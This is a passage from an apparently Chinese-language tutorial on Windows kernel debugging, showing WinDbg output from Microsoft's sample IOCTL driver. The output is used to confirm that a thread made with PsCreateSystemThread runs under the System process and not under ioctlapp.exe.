<div class="highlight"><pre><span></span><code><span class="mi">4</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dx</span><span class="w"> </span><span class="o">-</span><span class="n">id</span><span class="w"> </span><span class="mi">0</span><span class="o">,</span><span class="mi">0</span><span class="o">,</span><span class="n">ffff8a07222e60c0</span><span class="w"> </span><span class="o">-</span><span class="n">r1</span><span class="w"> </span><span class="o">(*((</span><span class="n">ntkrnlmp</span><span class="o">!</span><span class="n">_KAPC_STATE</span><span class="w"> </span><span class="o">*)</span><span class="mh">0xffff8a071f0e3118</span><span class="o">))</span>
<span class="o">(*((</span><span class="n">ntkrnlmp</span><span class="o">!</span><span class="n">_KAPC_STATE</span><span class="w"> </span><span class="o">*)</span><span class="mh">0xffff8a071f0e3118</span><span class="o">))</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">_KAPC_STATE</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x000</span><span class="o">]</span><span class="w"> </span><span class="n">ApcListHead</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">_LIST_ENTRY</span><span class="w"> </span><span class="o">[</span><span class="mi">2</span><span class="o">]]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x020</span><span class="o">]</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xffff8a0715a64380</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">_KPROCESS</span><span class="w"> </span><span class="o">*]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x028</span><span class="o">]</span><span class="w"> </span><span class="n">InProgressFlags</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x028</span><span class="w"> </span><span class="o">(</span><span class="w"> </span><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="o">)]</span><span class="w"> </span><span class="n">KernelApcInProgress</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x028</span><span class="w"> </span><span class="o">(</span><span class="w"> </span><span class="mi">1</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="o">)]</span><span class="w"> </span><span class="n">SpecialApcInProgress</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x029</span><span class="o">]</span><span class="w"> </span><span class="n">KernelApcPending</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x02a</span><span class="o">]</span><span class="w"> </span><span class="n">UserApcPendingAll</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x02a</span><span class="w"> </span><span class="o">(</span><span class="w"> </span><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="o">)]</span><span class="w"> </span><span class="n">SpecialUserApcPending</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
<span class="w"> </span><span class="o">[+</span><span class="mh">0x02a</span><span class="w"> </span><span class="o">(</span><span class="w"> </span><span class="mi">1</span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="o">)]</span><span class="w"> </span><span class="n">UserApcPending</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0</span><span class="w"> </span><span class="o">[</span><span class="n">Type</span><span class="o">:</span><span class="w"> </span><span class="n">unsigned</span><span class="w"> </span><span class="n">char</span><span class="o">]</span>
</code></pre></div>
<p>这时就已经看到KPROCESS(EPROCESS)的地址了<code>0xffff8a0715a64380</code></p>
<div class="highlight"><pre><span></span><code><span class="mi">4</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">_EPROCESS</span><span class="w"> </span><span class="mh">0xffff8a0715a64380</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Pcb</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_KPROCESS</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x2e0</span><span class="w"> </span><span class="n">ProcessLock</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_EX_PUSH_LOCK</span>
<span class="w"> </span><span class="o">...</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x448</span><span class="w"> </span><span class="n">ImageFilePointer</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x450</span><span class="w"> </span><span class="n">ImageFileName</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">[</span><span class="mi">15</span><span class="o">]</span><span class="w"> </span><span class="s2">"System"</span>
<span class="w"> </span><span class="o">...</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x870</span><span class="w"> </span><span class="n">CoverageSamplerContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x878</span><span class="w"> </span><span class="n">MmHotPatchContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
</code></pre></div>
<p>可以看到ImageFileName成员的值是System,如果上面的那句话是正确的话,那么这里应该是<code>ioctlapp.exe</code>(console app的名称)</p>
<p>可以通过查看ioctlapp.exe进程的所有线程来进一步确认使用PsCreateSystemThread创建出来的线程并不在用户进程下</p>
<div class="highlight"><pre><span></span><code><span class="mi">4</span><span class="err">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="err">!</span><span class="n">process</span><span class="w"> </span><span class="n">ffff8a07222e60c0</span>
<span class="n">PROCESS</span><span class="w"> </span><span class="n">ffff8a07222e60c0</span>
<span class="w"> </span><span class="nl">SessionId</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="nl">Cid</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="n">f38</span><span class="w"> </span><span class="nl">Peb</span><span class="p">:</span><span class="w"> </span><span class="mi">6</span><span class="n">d2896e000</span><span class="w"> </span><span class="nl">ParentCid</span><span class="p">:</span><span class="w"> </span><span class="mf">1e94</span>
<span class="w"> </span><span class="nl">DirBase</span><span class="p">:</span><span class="w"> </span><span class="mi">1572</span><span class="n">d5000</span><span class="w"> </span><span class="nl">ObjectTable</span><span class="p">:</span><span class="w"> </span><span class="n">ffffa282a0fe1d80</span><span class="w"> </span><span class="nl">HandleCount</span><span class="p">:</span><span class="w"> </span><span class="mf">65.</span>
<span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">ioctlapp</span><span class="p">.</span><span class="n">exe</span>
<span class="w"> </span><span class="n">VadRoot</span><span class="w"> </span><span class="n">ffff8a072092b780</span><span class="w"> </span><span class="n">Vads</span><span class="w"> </span><span class="mi">33</span><span class="w"> </span><span class="n">Clone</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">Private</span><span class="w"> </span><span class="mf">175.</span><span class="w"> </span><span class="n">Modified</span><span class="w"> </span><span class="mf">2.</span><span class="w"> </span><span class="n">Locked</span><span class="w"> </span><span class="mf">0.</span>
<span class="w"> </span><span class="n">DeviceMap</span><span class="w"> </span><span class="n">ffffa2829bdb1e90</span>
<span class="w"> </span><span class="n">Token</span><span class="w"> </span><span class="n">ffffa2829f758060</span>
<span class="w"> </span><span class="n">ElapsedTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">05</span><span class="err">:</span><span class="mf">33.095</span>
<span class="w"> </span><span class="n">UserTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">KernelTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">QuotaPoolUsage</span><span class="o">[</span><span class="n">PagedPool</span><span class="o">]</span><span class="w"> </span><span class="mi">30720</span>
<span class="w"> </span><span class="n">QuotaPoolUsage</span><span class="o">[</span><span class="n">NonPagedPool</span><span class="o">]</span><span class="w"> </span><span class="mi">5008</span>
<span class="w"> </span><span class="n">Working</span><span class="w"> </span><span class="k">Set</span><span class="w"> </span><span class="n">Sizes</span><span class="w"> </span><span class="p">(</span><span class="n">now</span><span class="p">,</span><span class="nf">min</span><span class="p">,</span><span class="nf">max</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="mi">956</span><span class="p">,</span><span class="w"> </span><span class="mi">50</span><span class="p">,</span><span class="w"> </span><span class="mi">345</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="mi">3824</span><span class="n">KB</span><span class="p">,</span><span class="w"> </span><span class="mi">200</span><span class="n">KB</span><span class="p">,</span><span class="w"> </span><span class="mi">1380</span><span class="n">KB</span><span class="p">)</span>
<span class="w"> </span><span class="n">PeakWorkingSetSize</span><span class="w"> </span><span class="mi">912</span>
<span class="w"> </span><span class="n">VirtualSize</span><span class="w"> </span><span class="mi">2101299</span><span class="w"> </span><span class="n">Mb</span>
<span class="w"> </span><span class="n">PeakVirtualSize</span><span class="w"> </span><span class="mi">2101300</span><span class="w"> </span><span class="n">Mb</span>
<span class="w"> </span><span class="n">PageFaultCount</span><span class="w"> </span><span class="mi">1001</span>
<span class="w"> </span><span class="n">MemoryPriority</span><span class="w"> </span><span class="n">BACKGROUND</span>
<span class="w"> </span><span class="n">BasePriority</span><span class="w"> </span><span class="mi">8</span>
<span class="w"> </span><span class="n">CommitCharge</span><span class="w"> </span><span class="mi">202</span>
<span class="w"> </span><span class="n">THREAD</span><span class="w"> </span><span class="n">ffff8a072084b080</span><span class="w"> </span><span class="n">Cid</span><span class="w"> </span><span class="mi">2</span><span class="n">f38</span><span class="mf">.3474</span><span class="w"> </span><span class="nl">Teb</span><span class="p">:</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d2896f000</span><span class="w"> </span><span class="nl">Win32Thread</span><span class="p">:</span><span class="w"> </span><span class="mi">0000000000000000</span><span class="w"> </span><span class="n">RUNNING</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">processor</span><span class="w"> </span><span class="mi">4</span>
<span class="w"> </span><span class="n">IRP</span><span class="w"> </span><span class="nl">List</span><span class="p">:</span>
<span class="w"> </span><span class="nl">ffff8a071d3fc2d0</span><span class="p">:</span><span class="w"> </span><span class="p">(</span><span class="mi">0006</span><span class="p">,</span><span class="mi">0118</span><span class="p">)</span><span class="w"> </span><span class="nl">Flags</span><span class="p">:</span><span class="w"> </span><span class="mi">00060070</span><span class="w"> </span><span class="nl">Mdl</span><span class="p">:</span><span class="w"> </span><span class="mi">00000000</span>
<span class="w"> </span><span class="ow">Not</span><span class="w"> </span><span class="n">impersonating</span>
<span class="w"> </span><span class="n">DeviceMap</span><span class="w"> </span><span class="n">ffffa2829bdb1e90</span>
<span class="w"> </span><span class="n">Owning</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">ffff8a07222e60c0</span><span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">ioctlapp</span><span class="p">.</span><span class="n">exe</span>
<span class="w"> </span><span class="n">Attached</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">N</span><span class="o">/</span><span class="n">A</span><span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">N</span><span class="o">/</span><span class="n">A</span>
<span class="w"> </span><span class="n">Wait</span><span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">TickCount</span><span class="w"> </span><span class="mi">72069</span><span class="w"> </span><span class="nl">Ticks</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.015</span><span class="p">)</span>
<span class="w"> </span><span class="n">Context</span><span class="w"> </span><span class="n">Switch</span><span class="w"> </span><span class="nf">Count</span><span class="w"> </span><span class="mi">36</span><span class="w"> </span><span class="nl">IdealProcessor</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span>
<span class="w"> </span><span class="n">UserTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">KernelTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.046</span>
<span class="w"> </span><span class="n">Win32</span><span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">Address</span><span class="w"> </span><span class="mh">0x00007ff67f522800</span>
<span class="w"> </span><span class="n">Stack</span><span class="w"> </span><span class="n">Init</span><span class="w"> </span><span class="n">ffff808ddffdf650</span><span class="w"> </span><span class="k">Current</span><span class="w"> </span><span class="n">ffff808ddffde730</span>
<span class="w"> </span><span class="n">Base</span><span class="w"> </span><span class="n">ffff808ddffe0000</span><span class="w"> </span><span class="k">Limit</span><span class="w"> </span><span class="n">ffff808ddffd9000</span><span class="w"> </span><span class="k">Call</span><span class="w"> </span><span class="mi">0000000000000000</span>
<span class="w"> </span><span class="n">Priority</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="n">BasePriority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">PriorityDecrement</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">IoPriority</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">PagePriority</span><span class="w"> </span><span class="mi">5</span>
<span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="k">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf0e0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e631</span><span class="n">f39</span><span class="w"> </span><span class="n">SIoctl</span><span class="err">!</span><span class="n">SioctlDeviceControl</span><span class="o">+</span><span class="mh">0x109</span><span class="w"> </span><span class="o">[</span><span class="n">C:\Users\Administrator\Documents\microsoft Windows-driver-samples main setup-devcon (1)\microsoft windows-driver-samples main general-ioctl_wdm\sys\sioctl.c @ 310</span><span class="o">]</span><span class="w"> </span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf1e0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mi">4</span><span class="n">ebe8345</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">IofCallDriver</span><span class="o">+</span><span class="mh">0x59</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf220</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mi">4</span><span class="n">ebe8150</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">IopSynchronousServiceTail</span><span class="o">+</span><span class="mh">0x1a5</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf2c0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mi">4</span><span class="n">ebe7526</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">IopXxxControlFile</span><span class="o">+</span><span class="mh">0xc10</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf3e0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e7</span><span class="n">d2915</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">NtDeviceIoControlFile</span><span class="o">+</span><span class="mh">0x56</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf450</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">7909</span><span class="n">c1b4</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSystemServiceCopyEnd</span><span class="o">+</span><span class="mh">0x25</span><span class="w"> </span><span class="p">(</span><span class="n">TrapFrame</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf4c0</span><span class="p">)</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f488</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">762</span><span class="n">f57b7</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">7909</span><span class="n">c1b4</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f490</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">762</span><span class="n">f57b7</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f498</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">426</span><span class="n">b3c20</span><span class="w"> </span><span class="mh">0x0000006d</span><span class="err">`</span><span class="mi">00000000</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4a0</span><span class="w"> </span><span class="mi">00000001</span><span class="err">`</span><span class="mi">00000001</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">426</span><span class="n">b3c20</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4a8</span><span class="w"> </span><span class="mi">00000001</span><span class="err">`</span><span class="mi">00000001</span><span class="w"> </span><span class="mh">0x00000001</span><span class="err">`</span><span class="mi">00000001</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4b0</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4e0</span><span class="w"> </span><span class="mh">0x00000001</span><span class="err">`</span><span class="mi">00000001</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4b8</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">9</span><span class="n">c402408</span><span class="w"> </span><span class="mh">0x0000006d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4e0</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4c0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff6</span><span class="err">`</span><span class="mi">7</span><span class="n">f529ce0</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">9</span><span class="n">c402408</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4c8</span><span class="w"> </span><span class="mi">0000016</span><span class="n">e</span><span class="err">`</span><span class="mi">0000003</span><span class="n">c</span><span class="w"> </span><span class="mh">0x00007ff6</span><span class="err">`</span><span class="mi">7</span><span class="n">f529ce0</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4d0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff6</span><span class="err">`</span><span class="mi">7</span><span class="n">f529d60</span><span class="w"> </span><span class="mh">0x0000016e</span><span class="err">`</span><span class="mi">0000003</span><span class="n">c</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4d8</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">00000064</span><span class="w"> </span><span class="mh">0x00007ff6</span><span class="err">`</span><span class="mi">7</span><span class="n">f529d60</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">2877</span><span class="n">f4e0</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">00000064</span>
<span class="w"> </span><span class="n">THREAD</span><span class="w"> </span><span class="n">ffff8a071d5a3040</span><span class="w"> </span><span class="n">Cid</span><span class="w"> </span><span class="mi">2</span><span class="n">f38</span><span class="mf">.0</span><span class="n">bd4</span><span class="w"> </span><span class="nl">Teb</span><span class="p">:</span><span class="w"> </span><span class="mi">0000006</span><span class="n">d28977000</span><span class="w"> </span><span class="nl">Win32Thread</span><span class="p">:</span><span class="w"> </span><span class="mi">0000000000000000</span><span class="w"> </span><span class="nl">WAIT</span><span class="p">:</span><span class="w"> </span><span class="p">(</span><span class="n">WrQueue</span><span class="p">)</span><span class="w"> </span><span class="n">UserMode</span><span class="w"> </span><span class="n">Alertable</span>
<span class="w"> </span><span class="n">ffff8a071db12a80</span><span class="w"> </span><span class="n">QueueObject</span>
<span class="w"> </span><span class="ow">Not</span><span class="w"> </span><span class="n">impersonating</span>
<span class="w"> </span><span class="n">DeviceMap</span><span class="w"> </span><span class="n">ffffa2829bdb1e90</span>
<span class="w"> </span><span class="n">Owning</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">ffff8a07222e60c0</span><span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">ioctlapp</span><span class="p">.</span><span class="n">exe</span>
<span class="w"> </span><span class="n">Attached</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">N</span><span class="o">/</span><span class="n">A</span><span class="w"> </span><span class="nc">Image</span><span class="err">:</span><span class="w"> </span><span class="n">N</span><span class="o">/</span><span class="n">A</span>
<span class="w"> </span><span class="n">Wait</span><span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">TickCount</span><span class="w"> </span><span class="mi">71866</span><span class="w"> </span><span class="nl">Ticks</span><span class="p">:</span><span class="w"> </span><span class="mi">204</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">03.187</span><span class="p">)</span>
<span class="w"> </span><span class="n">Context</span><span class="w"> </span><span class="n">Switch</span><span class="w"> </span><span class="nf">Count</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="nl">IdealProcessor</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span>
<span class="w"> </span><span class="n">UserTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">KernelTime</span><span class="w"> </span><span class="mi">00</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mf">00.000</span>
<span class="w"> </span><span class="n">Win32</span><span class="w"> </span><span class="k">Start</span><span class="w"> </span><span class="n">Address</span><span class="w"> </span><span class="mh">0x00007ff979033d60</span>
<span class="w"> </span><span class="n">Stack</span><span class="w"> </span><span class="n">Init</span><span class="w"> </span><span class="n">ffff808de0a8f650</span><span class="w"> </span><span class="k">Current</span><span class="w"> </span><span class="n">ffff808de0a8ee20</span>
<span class="w"> </span><span class="n">Base</span><span class="w"> </span><span class="n">ffff808de0a90000</span><span class="w"> </span><span class="k">Limit</span><span class="w"> </span><span class="n">ffff808de0a89000</span><span class="w"> </span><span class="k">Call</span><span class="w"> </span><span class="mi">0000000000000000</span>
<span class="w"> </span><span class="n">Priority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">BasePriority</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">PriorityDecrement</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">IoPriority</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">PagePriority</span><span class="w"> </span><span class="mi">5</span>
<span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="k">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8ee60</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">c77d</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSwapContext</span><span class="o">+</span><span class="mh">0x76</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8efa0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">b604</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSwapThread</span><span class="o">+</span><span class="mh">0xbfd</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8f040</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">f4be</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiCommitThreadWait</span><span class="o">+</span><span class="mh">0x144</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8f0e0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">efb9</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KeRemoveQueueEx</span><span class="o">+</span><span class="mh">0x27e</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8f190</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e63</span><span class="n">ec8e</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">IoRemoveIoCompletion</span><span class="o">+</span><span class="mh">0x99</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8f2b0</span><span class="w"> </span><span class="n">fffff807</span><span class="err">`</span><span class="mf">4e7</span><span class="n">d2915</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">NtWaitForWorkViaWorkerFactory</span><span class="o">+</span><span class="mh">0x25e</span>
<span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8f450</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">7909</span><span class="n">fa64</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSystemServiceCopyEnd</span><span class="o">+</span><span class="mh">0x25</span><span class="w"> </span><span class="p">(</span><span class="n">TrapFrame</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="n">ffff808d</span><span class="err">`</span><span class="n">e0a8f4c0</span><span class="p">)</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">aff568</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff9</span><span class="err">`</span><span class="mi">79034060</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">7909</span><span class="n">fa64</span>
<span class="w"> </span><span class="mi">0000006</span><span class="n">d</span><span class="err">`</span><span class="mi">28</span><span class="n">aff570</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x00007ff9</span><span class="err">`</span><span class="mi">79034060</span>
